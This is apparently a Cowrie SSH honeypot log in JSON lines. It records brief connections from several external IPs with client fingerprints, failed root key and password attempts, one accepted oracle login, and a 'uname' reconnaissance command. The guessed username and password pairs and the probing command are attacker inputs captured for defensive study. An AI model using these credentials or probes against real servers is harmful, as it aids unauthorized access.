{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:16.430094Z","src_ip":"167.172.81.52","session":"6cf905717da2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.176.100","src_port":50052,"dst_ip":"10.17.0.5","dst_port":22,"session":"36e17bc08473","protocol":"ssh","message":"New connection: 86.111.176.100:50052 (10.17.0.5:22) [session: 36e17bc08473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:18.420759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:18.425614Z","src_ip":"86.111.176.100","session":"36e17bc08473","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:18.503893Z","src_ip":"86.111.176.100","session":"36e17bc08473","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:74:7c:fa:20:d8:d9:d4:47:ec:1d:11:3a:a0:12:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChrQ0DH7SjWoM5jfjap2C8UGHT0zZttkC/gjfVA2WHWPoCA1zUaP5z6VU3BVeJd4jRK2ywBNCoTDQ7OBZqUW8C5iP5v04N94EdHJCB8XGhiZTZMjUTvQggjeYy+EYHldA5ahDCT+PVwVmaRjHsdIXn8C40djKoeQjrddvgOz3J3iCuiQupaAMsgrcau3DtkEFgwntUBHvCWoLtKu9GRWFyrrvxkIEsmFy8HLM9zEmAvGk2Y1+huX9d2b8GbNSDWABmQAt7XejUePobtkQEbwKaRjEzvyaWPQydeCJj2HfPmCXMRFPVba9d1wWmytVdT+RY64+4/RCDdULKRdIt/mIt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:74:7c:fa:20:d8:d9:d4:47:ec:1d:11:3a:a0:12:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:18.856413Z","src_ip":"86.111.176.100","session":"36e17bc08473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:74:7c:fa:20:d8:d9:d4:47:ec:1d:11:3a:a0:12:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChrQ0DH7SjWoM5jfjap2C8UGHT0zZttkC/gjfVA2WHWPoCA1zUaP5z6VU3BVeJd4jRK2ywBNCoTDQ7OBZqUW8C5iP5v04N94EdHJCB8XGhiZTZMjUTvQggjeYy+EYHldA5ahDCT+PVwVmaRjHsdIXn8C40djKoeQjrddvgOz3J3iCuiQupaAMsgrcau3DtkEFgwntUBHvCWoLtKu9GRWFyrrvxkIEsmFy8HLM9zEmAvGk2Y1+huX9d2b8GbNSDWABmQAt7XejUePobtkQEbwKaRjEzvyaWPQydeCJj2HfPmCXMRFPVba9d1wWmytVdT+RY64+4/RCDdULKRdIt/mIt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:18.859619Z","src_ip":"86.111.176.100","session":"36e17bc08473","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:02:57:15:c2:67:0f:ce:57:c4:ea:ad:21:52:43:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7RkPVaLunxx7AH20Gz6p9NpYMlYMI0hUZSLVdJ21yCLZdYcUO2LA8VaH5BXDbyqt16ncaPr5ilgI4oBB3HsRjdO8/PjS8OtNqCroRDxO5F5pm3WB5Ew+KQAmlFFLW9I0GB+vMnX9teLz/x0v1Xh8DgN61fQAhlSLTXavuCAzJHbjGi3lcyrjZM+UmdLFoHTmTkp64JnkNJU5c0hi/ItqD0SisHqG8fnD/sx3LIiZvGHCyrN+T7tX+vCUN5ptBDmIHJeQxUPJRmVijqDFBC1Xp4oX+TpzFkfloQ7s1LR3AAthwb6mpbwBErA7h1T1lB2EDkJ5veXm/kvXREk3SHGE3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:02:57:15:c2:67:0f:ce:57:c4:ea:ad:21:52:43:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:18.935116Z","src_ip":"86.111.176.100","session":"36e17bc08473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:02:57:15:c2:67:0f:ce:57:c4:ea:ad:21:52:43:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7RkPVaLunxx7AH20Gz6p9NpYMlYMI0hUZSLVdJ21yCLZdYcUO2LA8VaH5BXDbyqt16ncaPr5ilgI4oBB3HsRjdO8/PjS8OtNqCroRDxO5F5pm3WB5Ew+KQAmlFFLW9I0GB+vMnX9teLz/x0v1Xh8DgN61fQAhlSLTXavuCAzJHbjGi3lcyrjZM+UmdLFoHTmTkp64JnkNJU5c0hi/ItqD0SisHqG8fnD/sx3LIiZvGHCyrN+T7tX+vCUN5ptBDmIHJeQxUPJRmVijqDFBC1Xp4oX+TpzFkfloQ7s1LR3AAthwb6mpbwBErA7h1T1lB2EDkJ5veXm/kvXREk3SHGE3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:18.938932Z","src_ip":"86.111.176.100","session":"36e17bc08473","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:49:0b:f7:fc:14:36:2f:78:e4:7b:1d:6a:55:f5:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyqdv1mM0agXQZW+iKrV7TB0SOTW7WVasubugApbXI7joWcnk/iu5H/hZftqe6EIwvuhnZ9lorZhiK6U5tCS2yLHeg9UpO9oUy4gbcj9UdoehiVggcDBPTFnK43fWBntcbnoADy5dkiSa8gZG+3SypOG6cakGksg9P2QW83mut/WRk9qHHRDbEqCjGUV02h1HiPVgyR9X4Q2XPNEEwMAorhwtW6Lq29IuYG2J6HmcZlMw1LvdMxFBeu+t2/zI6+3tppHPQ7ee3N1Z1Ew/vLrWAE70jqwrhiQczk96JQQB/dk2tiOgYW6WB75Z1ZQZjnmv8cosvz6lNIJRHqWUUNBwJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:49:0b:f7:fc:14:36:2f:78:e4:7b:1d:6a:55:f5:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:19.013430Z","src_ip":"86.111.176.100","session":"36e17bc08473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:49:0b:f7:fc:14:36:2f:78:e4:7b:1d:6a:55:f5:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyqdv1mM0agXQZW+iKrV7TB0SOTW7WVasubugApbXI7joWcnk/iu5H/hZftqe6EIwvuhnZ9lorZhiK6U5tCS2yLHeg9UpO9oUy4gbcj9UdoehiVggcDBPTFnK43fWBntcbnoADy5dkiSa8gZG+3SypOG6cakGksg9P2QW83mut/WRk9qHHRDbEqCjGUV02h1HiPVgyR9X4Q2XPNEEwMAorhwtW6Lq29IuYG2J6HmcZlMw1LvdMxFBeu+t2/zI6+3tppHPQ7ee3N1Z1Ew/vLrWAE70jqwrhiQczk96JQQB/dk2tiOgYW6WB75Z1ZQZjnmv8cosvz6lNIJRHqWUUNBwJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:19.017524Z","src_ip":"86.111.176.100","session":"36e17bc08473","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:e5:e1:9d:aa:f3:f8:d6:14:78:7f:42:81:77:3c:be","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILG3WtPisMmY/+QUf2eWdRlI/fpAVr4N2ytUWjCSuXxU","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 07:e5:e1:9d:aa:f3:f8:d6:14:78:7f:42:81:77:3c:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:19.093863Z","src_ip":"86.111.176.100","session":"36e17bc08473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:e5:e1:9d:aa:f3:f8:d6:14:78:7f:42:81:77:3c:be","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILG3WtPisMmY/+QUf2eWdRlI/fpAVr4N2ytUWjCSuXxU","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:19.097964Z","src_ip":"86.111.176.100","session":"36e17bc08473","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:da:49:21:5f:51:2a:cb:34:2c:c1:54:bf:56:01:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyQz2swz1wXoQZMNQll4S7b+yvCtQYB+/fzYrPYWCldedtWVKQcyuZ5GxErybG4RHGaVSnMgYgnf+c2UafA2THUQL7i9BHG11kuljiwKQSZKCwzGTILDu7ih15L/tuXK5saiD2yy3s2Ruhkj3cCqFBCm7oMuDYEKHTwVutb1ice/fuJs2H0a8LdCbGh0Oemyyp6B3s8o+htM7H4y6a9fdJw8FdrRuCJ4pjFWrruhN99+ctUecp9qPG2O/srrAY8jTMl3NXsNlQsvejwsV0E7e67ooTPHlsFVg1hBgbBdVePxrIkWrorBgsmwi3qNykrubncAFD9OZWYS4jfylu7cZ1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:da:49:21:5f:51:2a:cb:34:2c:c1:54:bf:56:01:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:19.173059Z","src_ip":"86.111.176.100","session":"36e17bc08473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:da:49:21:5f:51:2a:cb:34:2c:c1:54:bf:56:01:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyQz2swz1wXoQZMNQll4S7b+yvCtQYB+/fzYrPYWCldedtWVKQcyuZ5GxErybG4RHGaVSnMgYgnf+c2UafA2THUQL7i9BHG11kuljiwKQSZKCwzGTILDu7ih15L/tuXK5saiD2yy3s2Ruhkj3cCqFBCm7oMuDYEKHTwVutb1ice/fuJs2H0a8LdCbGh0Oemyyp6B3s8o+htM7H4y6a9fdJw8FdrRuCJ4pjFWrruhN99+ctUecp9qPG2O/srrAY8jTMl3NXsNlQsvejwsV0E7e67ooTPHlsFVg1hBgbBdVePxrIkWrorBgsmwi3qNykrubncAFD9OZWYS4jfylu7cZ1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:19.177532Z","src_ip":"86.111.176.100","session":"36e17bc08473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:19.253875Z","src_ip":"86.111.176.100","session":"36e17bc08473","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":56232,"dst_ip":"159.203.135.109","dst_port":22,"session":"cef376372b37","protocol":"ssh","message":"New connection: 193.32.162.151:56232 (159.203.135.109:22) [session: cef376372b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:28.857154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:28.861757Z","src_ip":"193.32.162.151","session":"cef376372b37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:28.970743Z","src_ip":"193.32.162.151","session":"cef376372b37","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1qaz@WSX3edc","message":"login attempt [oracle/1qaz@WSX3edc] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:29.273476Z","src_ip":"193.32.162.151","session":"cef376372b37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:29.578327Z","src_ip":"193.32.162.151","session":"cef376372b37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:29.582279Z","src_ip":"193.32.162.151","session":"cef376372b37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:29.738378Z","src_ip":"193.32.162.151","session":"cef376372b37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:29.744750Z","src_ip":"193.32.162.151","session":"cef376372b37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":53038,"dst_ip":"159.203.135.109","dst_port":22,"session":"49fc1336322f","protocol":"ssh","message":"New connection: 62.133.62.83:53038 (159.203.135.109:22) [session: 49fc1336322f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:48.078498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:48.083233Z","src_ip":"62.133.62.83","session":"49fc1336322f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:48.162045Z","src_ip":"62.133.62.83","session":"49fc1336322f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:48.399381Z","src_ip":"62.133.62.83","session":"49fc1336322f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:18:49.481236Z","src_ip":"62.133.62.83","session":"49fc1336322f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":39200,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e0c48f98778","protocol":"ssh","message":"New connection: 103.75.182.198:39200 (159.203.135.109:22) [session: 4e0c48f98778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:19:26.914129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:19:26.920419Z","src_ip":"103.75.182.198","session":"4e0c48f98778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:19:27.168669Z","src_ip":"103.75.182.198","session":"4e0c48f98778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tab169829","message":"login attempt [root/tab169829] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:19:27.915855Z","src_ip":"103.75.182.198","session":"4e0c48f98778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:19:29.165294Z","src_ip":"103.75.182.198","session":"4e0c48f98778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":43266,"dst_ip":"159.203.135.109","dst_port":22,"session":"40af9379930a","protocol":"ssh","message":"New connection: 38.93.206.2:43266 (159.203.135.109:22) [session: 40af9379930a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:19:48.843638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:19:48.848583Z","src_ip":"38.93.206.2","session":"40af9379930a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:19:48.899471Z","src_ip":"38.93.206.2","session":"40af9379930a","protocol":"ssh"}
